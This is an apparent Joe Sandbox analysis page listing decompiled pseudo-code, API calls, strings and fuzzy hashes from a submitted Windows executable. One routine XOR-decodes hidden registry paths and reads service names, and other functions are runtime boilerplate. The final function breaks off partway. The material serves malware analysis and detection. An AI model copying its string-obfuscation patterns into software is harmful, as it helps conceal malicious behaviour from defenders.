Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: '$0$4$:$<$F$G@,$Y$^$h$m$t$x$z${
API String ID: 237503144-3443472032
Opcode ID: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
Instruction ID: dca6d9ca4d919790161e68c6a6737a5004210cde6544d660ad85851be413fbda
Opcode Fuzzy Hash: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
Instruction Fuzzy Hash: 6C41DC1000C7C29DD312D73C955864FBFD15BE7228F488B9DF0E95B2E2D6698249C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00423FDF, Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 297
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423FDF(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t197;
				void* _t198;
				signed int _t206;
				void* _t223;
				signed char _t229;
				CHAR* _t255;
				CHAR* _t257;
				char* _t262;
				void* _t264;

				_t262 = _t264 - 0x70;
				_t197 =  *0x4310d8; // 0x2c0d4047
				 *((intOrPtr*)(_t262 + 0x6c)) = _t197;
				 *(_t262 + 0x20) = 0xec;
				 *((char*)(_t262 + 0x21)) = 0xc7;
				 *((char*)(_t262 + 0x22)) = 0x54;
				 *((char*)(_t262 + 0x23)) = 0x7d;
				 *((char*)(_t262 + 0x24)) = 0xdc;
				 *((char*)(_t262 + 0x25)) = 0x15;
				 *((char*)(_t262 + 0x26)) = 0x69;
				 *((char*)(_t262 + 0x27)) = 0xc0;
				 *((char*)(_t262 + 0x28)) = 0x21;
				 *((char*)(_t262 + 0x29)) = 0x71;
				 *((char*)(_t262 + 0x2a)) = 0xf5;
				 *((char*)(_t262 + 0x2b)) = 0x65;
				 *((char*)(_t262 + 0x2c)) = 0xc0;
				 *((char*)(_t262 + 0x2d)) = 0x88;
				 *((char*)(_t262 + 0x2e)) = 0xf4;
				 *((char*)(_t262 + 0x2f)) = 0xc4;
				 *((char*)(_t262 + 0x30)) = 0x2d;
				 *((char*)(_t262 + 0x31)) = 0xd9;
				 *((char*)(_t262 + 0x32)) = 0x18;
				 *((char*)(_t262 + 0x33)) = 0x66;
				 *((char*)(_t262 + 0x34)) = 0x9f;
				 *((char*)(_t262 + 0x35)) = 0x83;
				 *((char*)(_t262 + 0x36)) = 3;
				 *((char*)(_t262 + 0x37)) = 0xb8;
				 *((char*)(_t262 + 0x38)) = 0x91;
				 *((char*)(_t262 + 0x39)) = 0xe;
				 *((char*)(_t262 + 0x3a)) = 0xe7;
				 *((char*)(_t262 + 0x3b)) = 0x7b;
				 *((char*)(_t262 + 0x3c)) = 0x7f;
				 *((char*)(_t262 + 0x3d)) = 0x8c;
				 *((char*)(_t262 + 0x3e)) = 0x43;
				 *((char*)(_t262 + 0x3f)) = 0x5b;
				 *((char*)(_t262 + 0x40)) = 0xb2;
				 *((char*)(_t262 + 0x41)) = 0x81;
				 *((char*)(_t262 + 0x42)) = 0xb0;
				 *((char*)(_t262 + 0x43)) = 0xce;
				 *((char*)(_t262 + 0x44)) = 0x2f;
				 *((char*)(_t262 + 0x45)) = 0x62;
				 *((char*)(_t262 + 0x46)) = 0;
				 *((char*)(_t262 + 0x47)) = 0xa2;
				 *((char*)(_t262 + 0x48)) = 0xa1;
				 *((char*)(_t262 + 0x49)) = 0xab;
				 *((char*)(_t262 + 0x4a)) = 0x81;
				 *((char*)(_t262 + 0x4b)) = 0xdb;
				 *((char*)(_t262 + 0x4c)) = 0xd1;
				 *((char*)(_t262 + 0x4d)) = 0x4b;
				 *((char*)(_t262 + 0x4e)) = 0xcb;
				 *((char*)(_t262 + 0x4f)) = 0x45;
				 *((char*)(_t262 + 0x50)) = 0x7a;
				 *((char*)(_t262 + 0x51)) = 0x78;
				 *((char*)(_t262 + 0x52)) = 0x55;
				 *((char*)(_t262 + 0x53)) = 0x63;
				 *((char*)(_t262 + 0x54)) = 0xc;
				 *((char*)(_t262 + 0x55)) = 0xa4;
				 *((char*)(_t262 + 0x56)) = 0x31;
				 *((char*)(_t262 + 0x57)) = 0x98;
				 *((char*)(_t262 + 0x58)) = 0xc9;
				 *((char*)(_t262 + 0x59)) = 0x10;
				 *((char*)(_t262 - 0x1c)) = 0xbf;
				 *((char*)(_t262 - 0x1b)) = 0xa8;
				 *((char*)(_t262 - 0x1a)) = 0x32;
				 *((char*)(_t262 - 0x19)) = 9;
				 *((char*)(_t262 - 0x18)) = 0xab;
				 *((char*)(_t262 - 0x17)) = 0x74;
				 *((char*)(_t262 - 0x16)) = 0x1b;
				 *((char*)(_t262 - 0x15)) = 0xa5;
				 *((char*)(_t262 - 0x14)) = 0x7d;
				 *((char*)(_t262 - 0x13)) = 0x3c;
				 *((char*)(_t262 - 0x12)) = 0x9c;
				 *((char*)(_t262 - 0x11)) = 6;
				 *((char*)(_t262 - 0x10)) = 0xb2;
				 *((char*)(_t262 - 0xf)) = 0xe7;
				 *((char*)(_t262 - 0xe)) = 0x87;
				 *((char*)(_t262 - 0xd)) = 0xab;
				 *((char*)(_t262 - 0xc)) = 0x4b;
				 *((char*)(_t262 - 0xb)) = 0xad;
				 *((char*)(_t262 - 0xa)) = 0x44;
				 *((char*)(_t262 - 9)) = 0x31;
				 *((char*)(_t262 - 8)) = 0xf6;
				 *((char*)(_t262 - 7)) = 0xed;
				 *((char*)(_t262 - 6)) = 0x67;
				 *((char*)(_t262 - 5)) = 0xd7;
				 *((char*)(_t262 - 4)) = 0xe6;
				 *((char*)(_t262 - 3)) = 0x7d;
				 *((char*)(_t262 - 2)) = 0xc7;
				 *((char*)(_t262 - 1)) = 0x35;
				 *_t262 = 0x2b;
				 *((char*)(_t262 + 1)) = 0xd0;
				 *((char*)(_t262 + 2)) = 0;
				 *((char*)(_t262 + 3)) = 0x2e;
				 *((char*)(_t262 + 4)) = 0xc0;
				 *((char*)(_t262 + 5)) = 0xf3;
				 *((char*)(_t262 + 6)) = 0xd5;
				 *((char*)(_t262 + 7)) = 0xa0;
				 *((char*)(_t262 + 8)) = 0x5b;
				 *((char*)(_t262 + 9)) = 0x34;
				 *((char*)(_t262 + 0xa)) = 0x65;
				 *((char*)(_t262 + 0xb)) = 0xd0;
				 *((char*)(_t262 + 0xc)) = 0xd2;
				 *((char*)(_t262 + 0xd)) = 0xc2;
				 *((char*)(_t262 + 0xe)) = 0xee;
				 *((char*)(_t262 + 0xf)) = 0xb5;
				 *((char*)(_t262 + 0x10)) = 0x8d;
				 *((char*)(_t262 + 0x11)) = 5;
				 *((char*)(_t262 + 0x12)) = 0xae;
				 *((char*)(_t262 + 0x13)) = 0x31;
				 *((char*)(_t262 + 0x14)) = 0xd;
				 *((char*)(_t262 + 0x15)) = 0x17;
				 *((char*)(_t262 + 0x16)) = 0x27;
				 *((char*)(_t262 + 0x17)) = 8;
				 *((char*)(_t262 + 0x18)) = 0x4f;
				 *((char*)(_t262 + 0x19)) = 0xc5;
				 *((char*)(_t262 + 0x1a)) = 0x43;
				 *((char*)(_t262 + 0x1b)) = 0xfc;
				 *((char*)(_t262 + 0x1c)) = 0xba;
				 *((char*)(_t262 + 0x1d)) = 0x10;
				_t198 = 0;
				do {
					 *(_t262 + _t198 + 0x20) =  *(_t262 + _t198 + 0x20) ^  *(_t262 + _t198 - 0x1c);
					_t198 = _t198 + 1;
				} while (_t198 < 0x3a);
				if(RegOpenKeyExA(0x80000002, _t262 + 0x20, 0, 0x20019, _t262 - 0x2c) == 0) {
					 *0x432020 = 0x6e;
					if(RegOpenKeyExA( *(_t262 - 0x2c),  *(_t262 + 0x7c), 0, 0x20019, _t262 - 0x28) == 0) {
						_t206 =  *0x432020; // 0x0
						 *0x432020 = ((0x0000003e - _t206 * 0x00000067 | 0x00000018) ^ 0x00000006) - 0x88 | 0x00000030;
						_t255 =  &(( *(_t262 + 0x78))[0x208]);
						 *(_t262 - 0x20) = 0x104;
						if(RegQueryValueExA( *(_t262 - 0x28), "ServiceName", 0, _t262 - 0x24, _t255, _t262 - 0x20) != 0 ||  *(_t262 - 0x24) != 1) {
							_t249 = _t262 + 0x5c;
							 *(_t262 + 0x64) = 0x3d;
							 *((char*)(_t262 + 0x65)) = 0xb8;
							 *((char*)(_t262 + 0x66)) = 0xda;
							 *((char*)(_t262 + 0x67)) = 0xd7;
							 *((char*)(_t262 + 0x68)) = 0xa0;
							 *((char*)(_t262 + 0x69)) = 0x1b;
							 *((char*)(_t262 + 0x6a)) = 0xa4;
							 *((char*)(_t262 + 0x6b)) = 0xe8;
							 *((char*)(_t262 + 0x5c)) = 0xe8;
							 *((char*)(_t262 + 0x5d)) = 0xca;
							 *((char*)(_t262 + 0x5e)) = 0x6c;
							 *((char*)(_t262 + 0x5f)) = 0xcf;
							 *((char*)(_t262 + 0x60)) = 0xb9;
							 *((char*)(_t262 + 0x61)) = 0xb1;
							 *((char*)(_t262 + 0x62)) = 0xd6;
							 *((char*)(_t262 + 0x63)) = 0x68;
							lstrcpyA(_t255, E00423F92(_t262 + 0x5c, _t262 + 0x64, 8));
						}
						 *(_t262 - 0x20) = 0x104;
						 *0x432020 = 0x54;
						if(RegQueryValueExA( *(_t262 - 0x28), "Description", 0, _t262 - 0x24,  *(_t262 + 0x78), _t262 - 0x20) != 0 ||  *(_t262 - 0x24) != 1) {
							 *(_t262 + 0x64) = 0xe1;
							 *((char*)(_t262 + 0x65)) = 0x90;
							 *((char*)(_t262 + 0x66)) = 0xec;
							 *((char*)(_t262 + 0x67)) = 0xd;
							 *((char*)(_t262 + 0x68)) = 3;
							 *((char*)(_t262 + 0x69)) = 3;
							 *((char*)(_t262 + 0x6a)) = 0x7d;
							 *((char*)(_t262 + 0x6b)) = 0x89;
							 *((char*)(_t262 + 0x5c)) = 0x74;
							 *((char*)(_t262 + 0x5d)) = 0xde;
							 *((char*)(_t262 + 0x5e)) = 0x7f;
							 *((char*)(_t262 + 0x5f)) = 0x61;
							 *((char*)(_t262 + 0x60)) = 0x6c;
							 *((char*)(_t262 + 0x61)) = 0x74;
							 *((char*)(_t262 + 0x62)) = 0xf1;
							 *((char*)(_t262 + 0x63)) = 0x77;
							_t223 = 0;
							do {
								_t249 =  *((intOrPtr*)(_t262 + _t223 + 0x5c));
								 *((intOrPtr*)(_t262 + _t223 + 0x64)) =  *((intOrPtr*)(_t262 + _t223 + 0x64)) +  *((intOrPtr*)(_t262 + _t223 + 0x5c));
								_t223 = _t223 + 1;
							} while (_t223 < 8);
							lstrcpyA(_t255, _t262 + 0x64);
						}
						_t257 =  &(( *(_t262 + 0x78))[0x104]);
						 *(_t262 - 0x20) = 0x104;
						 *0x432020 = 0xdc;
						if(RegQueryValueExA( *(_t262 - 0x28), "Title", 0, _t262 - 0x24, _t257, _t262 - 0x20) != 0 ||  *(_t262 - 0x24) != 1) {
							_t229 =  *0x432020; // 0x0
							 *0x432020 = ((_t229 - 0x00000055 | 0x00000038) ^ 0x0000003c) - 0x00000012 | 0x00000008;
							wsprintfA(_t257, "[%d] %s", E00425A48(_t249,  *(_t262 + 0x7c)),  *(_t262 + 0x78));
							 *0x432020 = 0x54;
						}
						RegCloseKey( *(_t262 - 0x28));
					}
					 *0x432020 = 0x54;
					RegCloseKey( *(_t262 - 0x2c));
				}
				return E00424873(0,  *((intOrPtr*)(_t262 + 0x6c)));
			}

0x00423fe0
0x00423fea
0x00423ff3
0x00423ff7
0x00423ffb
0x00423fff
0x00424003
0x00424007
0x0042400b
0x0042400f
0x00424013
0x00424017
0x0042401b
0x0042401f
0x00424023
0x00424027
0x0042402b
0x0042402f
0x00424033
0x00424037
0x0042403b
0x0042403f
0x00424043
0x00424047
0x0042404b
0x0042404f
0x00424053
0x00424057
0x0042405b
0x0042405f
0x00424063
0x00424067
0x0042406b
0x0042406f
0x00424073
0x00424077
0x0042407b
0x0042407f
0x00424083
0x00424087
0x0042408b
0x0042408f
0x00424092
0x00424096
0x0042409a
0x0042409e
0x004240a2
0x004240a6
0x004240aa
0x004240ae
0x004240b2
0x004240b6
0x004240ba
0x004240be
0x004240c2
0x004240c6
0x004240ca
0x004240ce
0x004240d2
0x004240d6
0x004240da
0x004240de
0x004240e2
0x004240e6
0x004240ea
0x004240ee
0x004240f2
0x004240f6
0x004240fa
0x004240fe
0x00424102
0x00424106
0x0042410a
0x0042410e
0x00424112
0x00424116
0x0042411a
0x0042411e
0x00424122
0x00424126
0x0042412a
0x0042412e
0x00424132
0x00424136
0x0042413a
0x0042413e
0x00424142
0x00424146
0x0042414a
0x0042414e
0x00424152
0x00424156
0x00424159
0x0042415d
0x00424161
0x00424165
0x00424169
0x0042416d
0x00424171
0x00424175
0x00424179
0x0042417d
0x00424181
0x00424185
0x00424189
0x0042418d
0x00424191
0x00424195
0x00424199
0x0042419d
0x004241a1
0x004241a5
0x004241a9
0x004241ad
0x004241b1
0x004241b5
0x004241b9
0x004241bd
0x004241c1
0x004241c5
0x004241c7
0x004241cb
0x004241cf
0x004241d0
0x004241f3
0x00424202
0x00424210
0x00424216
0x00424240
0x00424249
0x0042425d
0x00424268
0x00424276
0x00424279
0x0042427d
0x00424281
0x00424285
0x00424289
0x0042428d
0x00424291
0x00424295
0x00424299
0x0042429d
0x004242a1
0x004242a5
0x004242a9
0x004242ad
0x004242b1
0x004242b5
0x004242c0
0x004242c0
0x004242da
0x004242e1
0x004242ec
0x004242f4
0x004242f8
0x004242fc
0x00424300
0x00424304
0x00424308
0x0042430c
0x00424310
0x00424314
0x00424318
0x0042431c
0x00424320
0x00424324
0x00424328
0x0042432c
0x00424330
0x00424334
0x00424336
0x00424336
0x0042433a
0x0042433e
0x0042433f
0x00424349
0x00424349
0x00424356
0x0042436a
0x00424371
0x0042437c
0x00424384
0x00424396
0x004243aa
0x004243b3
0x004243b3
0x004243bd
0x004243bd
0x004243c6
0x004243cd
0x004243d3
0x004243e4

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,00000015,74E48170,00000000), ref: 004241EF
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0042420C
RegQueryValueExA.ADVAPI32(?,ServiceName,00000000,?,?,?), ref: 00424264
lstrcpyA.KERNEL32(?,00000000,?,00000008), ref: 004242C0
RegQueryValueExA.ADVAPI32(?,Description,00000000,?,?,?), ref: 004242E8
lstrcpyA.KERNEL32(?,?), ref: 00424349
RegQueryValueExA.ADVAPI32(?,Title,00000000,?,?,?), ref: 00424378
wsprintfA.USER32 ref: 004243AA
RegCloseKey.ADVAPI32(?), ref: 004243BD
RegCloseKey.ADVAPI32(?), ref: 004243CD

Strings

Description, xrefs: 004242D2
G@,, xrefs: 00423FEA
ServiceName, xrefs: 00424255
Title, xrefs: 00424362
[%d] %s, xrefs: 004243A4

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: QueryValue$CloseOpenlstrcpy$wsprintf
String ID: Description$G@,$ServiceName$Title$[%d] %s
API String ID: 3166188874-2565518047
Opcode ID: 19b7f30f3d2a41f17fe764a6f9fad9a6bbe25cb027da63ad8d5f2e9f9482e0bf
Instruction ID: 50b48e229a94bbbaf40ab9f963702833861e6e57dc731b51fdf7295a7017bae1
Opcode Fuzzy Hash: 19b7f30f3d2a41f17fe764a6f9fad9a6bbe25cb027da63ad8d5f2e9f9482e0bf
Instruction Fuzzy Hash: 0CE123205087CEDDDF22CB7C98486CD7F955B27328F484389F9E45A2E2C3A9854AC776

Uniqueness

Uniqueness Score: -1.00%

Function 00426501, Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 100
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E00426501(void* __ebx, void* __edi, intOrPtr __esi) {
				intOrPtr _t28;
				intOrPtr* _t29;
				void* _t37;
				intOrPtr _t54;
				void* _t63;
				void* _t67;
				void* _t72;
				char* _t73;
				intOrPtr _t74;
				void* _t75;
				intOrPtr _t76;
				void* _t77;
				intOrPtr _t78;

				_t74 = __esi;
				_t72 = __edi;
				_t63 = __ebx;
				_push(0x118);
				_push(0x42e7a0);
				L12();
				_t28 =  *0x4310d8; // 0x2c0d4047
				 *((intOrPtr*)(_t76 - 0x1c)) = _t28;
				_t29 =  *0x432050; // 0x0
				if(_t29 == 0) {
					if( *((intOrPtr*)(_t76 + 8)) == 1) {
						_t73 = "Buffer overrun detected!";
						 *(_t76 - 0x128) = "A buffer overrun has been detected which has corrupted the program\'s\ninternal state.  The program cannot safely continue execution and must\nnow be terminated.\n";
						_t75 = 0xb9;
					} else {
						_t73 = "Unknown security failure detected!";
						 *(_t76 - 0x128) = "A security error of unknown cause has been detected which has\ncorrupted the program\'s internal state.  The program cannot safely\ncontinue execution and must now be terminated.\n";
						_t75 = 0xd4;
					}
					 *((char*)(_t76 - 0x20)) = 0;
					if(GetModuleFileNameA(0, _t76 - 0x124, 0x104) == 0) {
						E00427340(_t76 - 0x124, "<program name unknown>");
					}
					_t63 = _t76 - 0x124;
					if(E004263F0(_t63) + 0xb > 0x3c) {
						_t63 = E004263F0(_t63) + _t76 - 0xf3;
						E00425B10(_t63, "...", 3);
						_t78 = _t78 + 0x10;
					}
					_t37 = E004263F0(_t63);
					_pop(_t67);
					E004254B0(_t37 + _t75 + 0x0000000c + 0x00000003 & 0xfffffffc, _t67);
					 *((intOrPtr*)(_t76 - 0x18)) = _t78;
					_t74 = _t78;
					E00427340(_t74, _t73);
					_t72 = "\n\n";
					E00427350(_t74, _t72);
					E00427350(_t74, "Program: ");
					E00427350(_t74, _t63);
					E00427350(_t74, _t72);
					E00427350(_t74,  *(_t76 - 0x128));
					_push(0x12010);
					_push("Microsoft Visual C++ Runtime Library");
					_push(_t74);
					E0042ADD1();
					_t78 = _t78 + 0x3c;
				} else {
					 *(_t76 - 4) = 0;
					 *_t29( *((intOrPtr*)(_t76 + 8)),  *((intOrPtr*)(_t76 + 0xc)));
					 *(_t76 - 4) =  *(_t76 - 4) | 0xffffffff;
				}
				E00429328(3);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_push(E0042521C);
				_push( *[fs:0x0]);
				 *((intOrPtr*)(_t78 + 0x10)) = _t76;
				_t77 = _t78 + 0x10;
				_push(_t63);
				_push(_t74);
				_push(_t72);
				 *((intOrPtr*)(_t77 - 0x18)) = _t78 -  *((intOrPtr*)(_t78 + 0x10));
				_push( *((intOrPtr*)(_t77 - 8)));
				 *((intOrPtr*)(_t77 - 4)) = 0xffffffff;
				 *((intOrPtr*)(_t77 - 8)) =  *((intOrPtr*)(_t77 - 4));
				_t54 = _t77 - 0x10;
				 *[fs:0x0] = _t54;
				return _t54;
			}

0x00426501
0x00426501
0x00426501
0x00426501
0x00426506
0x0042650b
0x00426510
0x00426515
0x00426518
0x00426521
0x00426546
0x0042655e
0x00426563
0x0042656d
0x00426548
0x00426548
0x0042654d
0x00426557
0x00426557
0x00426572
0x0042658a
0x00426598
0x0042659e
0x0042659f
0x004265b4
0x004265c9
0x004265d3
0x004265d8
0x004265d8
0x004265dc
0x004265e1
0x004265ec
0x004265f1
0x004265f4
0x004265f8
0x004265fd
0x00426604
0x0042660f
0x00426616
0x0042661d
0x00426629
0x0042662e
0x00426633
0x00426638
0x00426639
0x0042663e
0x00426523
0x00426523
0x0042652c
0x00426530
0x00426530
0x00426643
0x00426648
0x00426649
0x0042664a
0x0042664b
0x0042664c
0x00426657
0x0042665c
0x00426660
0x00426666
0x00426667
0x00426668
0x0042666c
0x0042666f
0x00426673
0x0042667a
0x0042667d
0x00426680
0x00426686

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,0042E7A0,00000118,0042485B,00000001,00000000,0042E4C0,00000008,0042A54F,00000000,00000000,00000000), ref: 00426582
_strcat.LIBCMT ref: 00426598
_strlen.LIBCMT ref: 004265A8
_strlen.LIBCMT ref: 004265B9
_strncpy.LIBCMT ref: 004265D3
_strlen.LIBCMT ref: 004265DC
_strcat.LIBCMT ref: 004265F8

Strings

Unknown security failure detected!, xrefs: 00426548
Program: , xrefs: 00426609
Microsoft Visual C++ Runtime Library, xrefs: 00426633
G@,, xrefs: 00426510
..., xrefs: 004265CD
Buffer overrun detected!, xrefs: 0042655E, 004265F6
<program name unknown>, xrefs: 0042658C
B, xrefs: 004265FD

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: _strlen$_strcat$FileModuleName_strncpy
String ID: ...$<program name unknown>$Buffer overrun detected!$G@,$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!$B
API String ID: 3058806289-3259777575
Opcode ID: e85ed9134b3ae6f9a248eff3a8fb49e701f2d1d72a83a6c7e4bd4b035122a1bd
Instruction ID: 89b9faee52e55a897ce7ba6d50dd28e9919cf87c3f188bd51213c475bd47c2d4
Opcode Fuzzy Hash: e85ed9134b3ae6f9a248eff3a8fb49e701f2d1d72a83a6c7e4bd4b035122a1bd
Instruction Fuzzy Hash: C331C732B012347BD715ABA6BC42FDE37689F09318FD4045BF904A6282DB7CDA918B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00427120, Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 71
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00427120() {
				void* __edi;
				void* __esi;
				intOrPtr _t7;
				struct HINSTANCE__* _t9;
				struct HINSTANCE__* _t11;
				long _t12;
				_Unknown_base(*)()* _t16;
				void* _t22;
				struct HINSTANCE__* _t26;
				void* _t30;
				struct HINSTANCE__* _t32;

				if(E00427438() != 0) {
					_push(_t30);
					_t26 = GetModuleHandleA("kernel32.dll");
					__eflags = _t26;
					if(_t26 != 0) {
						_t30 = GetProcAddress;
						 *0x432054 = GetProcAddress(_t26, "FlsAlloc");
						 *0x432058 = GetProcAddress(_t26, "FlsGetValue");
						 *0x43205c = GetProcAddress(_t26, "FlsSetValue");
						_t16 = GetProcAddress(_t26, "FlsFree");
						__eflags =  *0x432058;
						 *0x432060 = _t16;
						if( *0x432058 == 0) {
							 *0x432058 = TlsGetValue;
							 *0x43205c = TlsSetValue;
							 *0x432054 = E00426F42;
							 *0x432060 = TlsFree;
						}
					}
					_t7 =  *0x432054(E00426FD9);
					__eflags = _t7 - 0xffffffff;
					 *0x431124 = _t7;
					if(__eflags == 0) {
						L9:
						E00426F4B();
						_t9 = 0;
						__eflags = 0;
					} else {
						_push(0x8c);
						_push(1);
						_t32 = E0042AF1A(_t22, 1, _t30, __eflags);
						__eflags = _t32;
						if(_t32 == 0) {
							goto L9;
						} else {
							_t11 =  *0x43205c( *0x431124, _t32);
							__eflags = _t11;
							if(_t11 == 0) {
								goto L9;
							} else {
								 *((intOrPtr*)(_t32 + 0x54)) = 0x431878;
								 *((intOrPtr*)(_t32 + 0x14)) = 1;
								_t12 = GetCurrentThreadId();
								 *(_t32 + 4) =  *(_t32 + 4) | 0xffffffff;
								 *_t32 = _t12;
								_t9 = 1;
							}
						}
					}
					return _t9;
				} else {
					E00426F4B();
					return 0;
				}
			}

0x00427127
0x00427131
0x0042713e
0x00427140
0x00427142
0x00427144
0x00427158
0x00427165
0x00427172
0x00427177
0x00427179
0x00427180
0x00427185
0x0042718c
0x00427196
0x004271a0
0x004271aa
0x004271aa
0x00427185
0x004271b4
0x004271ba
0x004271bd
0x004271c2
0x00427205
0x00427205
0x0042720a
0x0042720a
0x004271c4
0x004271c6
0x004271cc
0x004271d2
0x004271d4
0x004271d8
0x00000000
0x004271da
0x004271e1
0x004271e7
0x004271e9
0x00000000
0x004271eb
0x004271eb
0x004271f2
0x004271f5
0x004271fb
0x004271ff
0x00427201
0x00427201
0x004271e9
0x004271d8
0x0042720e
0x00427129
0x00427129
0x00427130
0x00427130

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,74E04DE0,00000000,00425E71,?,0042E598,00000060), ref: 00427138
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00427150
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0042715D
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0042716A
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00427177
FlsAlloc.KERNEL32(00426FD9,?,0042E598,00000060), ref: 004271B4
FlsSetValue.KERNEL32(00000000,?,0042E598,00000060), ref: 004271E1
GetCurrentThreadId.KERNEL32 ref: 004271F5

Part of subcall function 00426F4B: FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000000,00000000,00000000,?,0042720A,?,0042E598,00000060), ref: 0042749C
Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000005,00000000,?,0042720A,?,0042E598,00000060), ref: 004274C6

Strings

kernel32.dll, xrefs: 00427133
FlsGetValue, xrefs: 00427152
FlsAlloc, xrefs: 0042714A
FlsFree, xrefs: 0042716C
FlsSetValue, xrefs: 0042715F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$kernel32.dll
API String ID: 2635119114-282957996
Opcode ID: 83b71c62593a6c7f50a24d9b3a3e41f1e15f2dc1c3e7cee7e4fb331bcff6ab21
Instruction ID: 86349d13d9d697d1a2059cccb8833edb385c7957e5e4b5f87f3c94e81b02547f
Opcode Fuzzy Hash: 83b71c62593a6c7f50a24d9b3a3e41f1e15f2dc1c3e7cee7e4fb331bcff6ab21
Instruction Fuzzy Hash: 1B2180707042619AD724AF37BE09A667FB5EB467103A1113BF644C32A0DBB8840ACF6C

Uniqueness

Uniqueness Score: -1.00%

Function 0041B010, Relevance: 22.7, APIs: 2, Strings: 13, Instructions: 210
stringCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041B010(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v4;
				char _v1028;
				char _v1029;
				char _v1030;
				char _v1031;
				char _v1032;
				char _v1033;
				char _v1034;
				char _v1035;
				char _v1036;
				char _v1037;
				char _v1038;
				char _v1039;
				char _v1040;
				char _v1041;
				char _v1042;
				char _v1043;
				char _v1044;
				char _v1047;
				char _v1048;
				char _v1049;
				char _v1050;
				char _v1051;
				char _v1052;
				char _v1053;
				char _v1054;
				char _v1055;
				char _v1056;
				char _v1057;
				char _v1058;
				char _v1059;
				char _v1060;
				char _v1061;
				char _v1062;
				char _v1063;
				char _v1064;
				char _v1067;
				char _v1068;
				char _v1069;
				char _v1070;
				char _v1071;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1077;
				char _v1078;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				intOrPtr _t127;
				void* _t129;
				intOrPtr _t130;
				void* _t139;
				void* _t144;
				void* _t148;
				void* _t156;
				intOrPtr _t172;
				void* _t191;
				intOrPtr _t193;
				void* _t194;
				intOrPtr* _t196;
				void* _t197;

				_t197 =  &_v1084;
				_t127 =  *0x4310d8; // 0x2c0d4047
				_t191 = __ecx;
				_v4 = _t127;
				_v1064 = 0xf;
				_v1052 = 0xf;
				_v1057 = 0xa9;
				_v1047 = 0xa9;
				_v1067 = 0xa9;
				_v1063 = 0xc9;
				_v1062 = 0x5b;
				_v1061 = 0xb1;
				_v1060 = 0x62;
				_v1059 = 0x6e;
				_v1058 = 0xf2;
				_v1056 = 0xc1;
				_v1055 = 0xea;
				_v1054 = 0xdf;
				_v1053 = 0x8d;
				_v1051 = 0xab;
				_v1050 = 0x78;
				_v1049 = 0xd3;
				_v1048 = 0xb8;
				_v1084 = 0x42;
				_v1083 = 0x88;
				_v1082 = 0x12;
				_v1081 = 0xfd;
				_v1080 = 0x42;
				_v1079 = 0x28;
				_v1078 = 0xa0;
				_v1077 = 0xe6;
				_v1076 = 0x8c;
				_v1075 = 0xd0;
				_v1074 = 0xff;
				_v1073 = 0xb1;
				_v1072 = 0x2a;
				_v1071 = 0xd8;
				_v1070 = 0x46;
				_v1069 = 0xde;
